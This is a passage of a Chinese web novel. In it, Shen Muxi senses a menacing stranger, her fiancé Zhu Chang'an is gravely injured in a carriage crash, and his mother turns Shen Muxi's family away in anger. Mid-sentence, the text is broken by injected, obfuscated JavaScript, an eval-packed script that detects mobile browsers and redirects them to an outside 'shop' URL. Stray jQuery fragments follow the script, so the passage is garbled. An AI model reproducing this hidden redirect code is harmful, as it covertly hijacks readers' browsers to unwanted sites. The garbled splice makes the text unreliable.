“停车,快停车……停下!”
祝长安连忙让车夫停下,然后担心地看去突然激动起来的沈木兮。
“到底发生什么事了,七小姐?”
沈木兮没说话,只是着急地下了马车,走到方才那个位置,左右四望!仔细地查看着!
然而此刻的街道四周,早已没有那道人影。
仿佛那只是她方才所想的幻觉。
可真的是这样吗?
祝长安追过来,见她神色苍白,神情恍惚的样子,甚是担心:“七小姐,你是不是身子不舒服,若是……”
沈木兮深深吐出一口气,抬头时面色已经大致恢复,她朝祝长安挤出一抹笑:“我没事。”
祝长安说:“我觉得你现在状态不太好,不然还是别出城了,改日我再带你去。”
他很是担忧的样子。
经过方才的事,沈木兮也的确已经没有什么心情出城赏景了。
但她都还没提出,祝长安就已经先说了,倒是让她觉得,这个祝二公子看着天真没什么城府,心倒挺细的。
“嗯,今日我身子不舒服,祝二公子,下次我做东,给你赔个不是。”
祝长安连忙摆手:“说什么话呢。你只要别不高兴就好。”
他顿了顿,似乎踌躇了许久,终于鼓足勇气说了出来。
“我只是在想,若是七小姐当真对于这门婚事……有其他的看法,我都是可以接受的。”
“你当真不愿,我是不会强迫你的。”
婚嫁自由,他即便喜欢人家,也不能强迫别人。
“祝二公子,你是不是误会了什么?”沈木兮皱眉道,“对于这门婚事,我没有任何的异议。只是今日,我的确是有点不舒服,和二公子无关。”
祝长安得了她的肯定话语,心中的大石头落地,脸上也终于浮现出了往日的纯白笑意。
这样天真单纯的笑,恍惚间,竟让沈木兮看到了另一个人。
“景愿……”
“嗯?七小姐,你在叫谁?”街头上人来人往,声音嘈杂,祝长安没听清沈木兮方才的话语。
沈木兮回过神,这才意识到自己方才说了什么,面色一变,神情也有些惊惶,赶忙道:“没,没什么。”
见她面色着实不好,祝长安只好先将她送了回去。
原本沈木兮是打算自己回去的,她现在只想一个人静一静,但祝长安坚持要送,她最后拗不过,还是乘着他的马车回了薛家。
把她送到还布置,祝长安还在府门外守着她进了府门,确定真的无事,才算离开。
沈木兮回头看着祝长安远去的马车。
祝长安,的确是个可以依托的人,她也看得出来,他是真的喜欢薛小七,也会对薛小七好。
反倒是她觉得自己委屈人家公子了。
本以为回府后,远离外面的喧嚣,她的心绪会平静一些。
可是回来后的沈木兮,心情并没有得以平静,反而更加坐立难安。
脑海中时不时就回想起,街头上晃眼一瞥那道眼神,和那“诡异”的笑!
就像是个魔咒一样,禁锢着她。
除此之外,她还想着祝长安。回想着他送自己回来时,临别时的灿烂笑意。
只觉得有那么一刹那,祝长安的笑,和街道上男人那道诡异冷笑相互重叠……霎时惊出沈木兮一身冷汗!
实在如坐针毡。
沈木兮正准备出院子,想打听一下祝长安安全归府没有。
外面突然响起一道急切的脚步声,正朝着她院子而来。
“七小姐,出事了。出大事了!”
“是祝家二公子,他在路上出了意外!”
听到这消息的那一瞬,沈木兮的周身血液,都差点要倒流了。
“什么意外?快说,快说。”沈木兮激动地问。
传消息的奴才擦着冷汗,这才说起。
祝长安送她回来后,在回去的路上,一匹疯马从巷子里冲出,和祝家马车冲撞,马车生生翻了个滚,车夫当场就被撞**!
听到这,沈木兮几乎无法站稳。
还是小愿撑着她!
“那祝二公子呢……他……”他怎么样了!
奴才又道:“祝二公子被人从马车里抬出去时,浑身都是鲜血淋漓……”
要说是生是死,他也不知道。
沈木兮哪里还坐得住,当即就准备前往祝家了。
祝长安是送她回来才出的事,无论是否为意外,她都得去看看。
另一边,欧阳氏也正得知了此事,便和沈木兮一同前去了祝家。
祝家此刻已然乱成一团。
因着祝老爷一直在外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989376|193682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行商,得了消息也来不及赶回来。
祝夫人看到儿子浑身是血的被人从外面抬回来,当场就晕了过去。
现在整个祝家主事的人,便只有大公子祝长商。
薛家人现在过来,不说太突兀,总归是有些不自在。
欧阳氏和沈木兮就这样坐在祝家的前厅里,看着后院方向人来人往,大夫来了一波又一波。
好不容易看到了祝长商,沈木兮赶紧站起身:“大公子,祝二公子他有没有事?”
祝长商脸色很不好,他还没开口,那边苏醒的祝夫人,已经在丫鬟的搀扶下过来了,她哭成了泪人,指着沈木兮就开骂!
“都是你这个灾星!”
“我早就对安儿说了,你一个庶女,要身份没身份,要母家没母家。娶来作甚?若是我当初极力反对他,他今日就不会去找你。更不会出事了!”
“都是你,你这个灾星,你这个祸害啊!”
祝夫人哭得声嘶力竭。
虽说这件事的确有一部分是沈木兮的原因,毕竟人是送沈木兮回来才出的事,但祝夫人这话实在太过分了些。
欧阳氏当即就不高兴了。
她性子本就烈,这会儿见祝夫人二话不说直接骂自家孩子,也不惯着。
“祝夫人你这话未免太过了些,又不是我家小七撞的二公子,你要发气,就去找那匹疯马的主人才是。我薛家听到二公子出了事,当即就来了,也没有要推卸责任。没想到一来却是碰一鼻子的灰!”
眼瞧着欧阳氏要和祝夫人闹开,早上原本还和和睦睦的两家子,此刻倒像是成了仇人。
沈木兮赶紧上前劝阻。
“母亲,女儿知道您是为了女儿讨公道,但今日咱们过来,是为了二公子。还请母亲先行息怒。”
在沈木兮和祝长商的奋力劝说下,欧阳氏和祝夫人总算是冷静了下来。
沈木兮上前:“祝夫人,不知二公子现在如何,我可不可以去看看……”
祝夫人怒目圆瞪!
看着沈木兮的眼神恶狠狠。
“是你害得我儿,还想去看他?走,都走!我们祝家只是老实本分的普通生意人,庙小,住不了身份尊贵的知府千金!”
“今后我祝家,和你们薛家,还是不要再往来了!走,走啊!”